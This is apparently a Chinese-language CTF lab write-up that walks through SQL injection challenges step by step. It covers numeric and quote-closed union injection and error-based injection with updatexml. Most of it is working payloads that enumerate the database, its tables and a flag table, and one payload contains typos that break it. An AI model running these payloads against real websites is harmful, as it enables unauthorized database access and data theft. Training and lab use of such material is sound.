赞
踩
(相关部分知识点可见SQL注入-CSDN博客)
分别输入1,2 回显不一样
2-1回显与1一样,判断为数字型注入(不用考虑闭合符合)
用group by(order by)判断查询列数,group by 2有回显 3无回显,证明字段数量为2列。
union联合注入,查看未发现的数据
?id=-1 union select 1,2 #
?id=-1(0)可以查看到不存在数据库中的数据
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
?id=-1 union select 1,version()#
爆出数据库名为sqli
?id=-1 union select 1,database()#
爆出数据表名,发现有一个名为flag
group_concat()的作用:确保所有查询信息能放到一行显示出来
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
爆出flag数据表中的全部字段名,得到完整flag
?id=-1 union select 1,group_concat(flag) from sqli.flag #
2-1的回显界面与1不一样,判断为字符型注入
判断闭合方式为'
union联合注入,查看未发现的数据
?id=-1 union select 1,2 #
爆出数据库 sqli
?id=-1 union select 1,database()#
爆出数据表,其中一个为flag
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
爆出flag数据表中的全部字段名,得到完整flag
?id=-1 union select 1,group_concat(flag) from sqli.flag #
使用updatexml(1,2,3) 进行报错注入
MySQL提供的 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
输入1时正常回显,输入1'时报错
爆出数据库名 sqli
?id=1 and updatexml(1,concat(0x7e,database()),3)
爆出数据表,发现flag表
?id=1 and updatexml(1,concat(0x7e,(select grouo_concat(table_name)from information_schema='sqli')),3)
爆出flag,发现不完整
?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)
利用函数substring解决返回字符串不完整问题(只有32个字符)
可解释为从第1个字符往后再显示30个字符
?id=1 and updatexml(1,concat(0x7e,(select substring(group_concat(flag),1,30) from sqli.flag)),3)
可解释为从第31个字符往后再显示30个字符
?id=1 and updatexml(1,concat(0x7e,(select substring(group_concat(flag),31,30) from sqli.flag)),3)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。